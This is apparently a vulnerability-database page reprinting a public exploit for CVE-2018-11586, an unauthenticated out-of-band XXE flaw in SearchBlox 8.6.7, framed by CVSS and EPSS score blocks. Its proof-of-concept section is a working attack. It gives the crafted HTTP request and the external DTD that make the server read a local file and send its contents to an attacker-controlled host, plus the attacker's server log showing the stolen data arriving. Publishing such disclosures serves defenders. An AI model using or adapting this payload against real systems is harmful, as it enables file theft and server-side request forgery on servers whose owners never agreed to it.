7.5 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.8 High
AI Score
Confidence
High
0.024 Low
EPSS
Percentile
90.0%
# Exploit Title: SearchBlox 8.6.7 Out-Of-Band XML eXternal Entity (OOB-XXE)
# Exploit Author: Ahmet GUREL, Canberk BOLAT
# Software Link: https://www.searchblox.com/
# Version: < = SearchBlox Version 8.6.7
# Platform: Java
# Tested on: Windows
# CVE: CVE-2018-11586
# 1. DETAILS
An XML External Entity attack is a type of attack against an
application that parses XML input. This attack occurs when XML input
containing a reference to an external entity is processed by a weakly
configured XML parser. This attack may lead to the disclosure of
confidential data, denial of service, server side request forgery,
port scanning from the perspective of the machine where the parser is
located, and other system impacts. Reference:
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing
# 2. PoC:
XML external entity (XXE) vulnerability in /searchblox/api/rest/status in
SearchBlox 8.6.7 allows remote unauthenticated users to read arbitrary
files or conduct server-side request forgery (SSRF) attacks via a crafted
DTD in an XML request.
HTTP Request:
_____________
GET /searchblox/api/rest/status HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:60.0) Gecko/20100101
Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=n9uolja8nwkj15nsv66xjlzci;
XSRF-TOKEN=6098a021-0e3c-409f-9da0-b895eff3025d; AdsOnPage=5;
AdsOnSearchPage=5
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 140
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE xxe [
<!ENTITY % dtd SYSTEM "http://192.168.1.2:7000/ext.dtd">
%dtd;
%all;
%send;]>
#Ext.dtd File :
_______________
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "file:///C:/windows/win.ini">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.1.2:7000/?%file;
'>">
%all;
#HTTP Response:
_______________
Ahmets-MacBook-Pro:Desktop ahmet$ python -m SimpleHTTPServer 7000
Serving HTTP on 0.0.0.0 port 7000 ...
192.168.1.2 - - [03/Jun/2018 15:37:16] "GET /ext.dtd HTTP/1.1" 200 -
192.168.1.2 - - [03/Jun/2018 15:37:16] "GET
/?;%20for%2016-bit%20app%20support%20[fonts]%20[extensions]%20[mci%20extensions]%20[files]%20[Mail]%20MAPI=1
HTTP/1.1" 200 -
7.5 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.8 High
AI Score
Confidence
High
0.024 Low
EPSS
Percentile
90.0%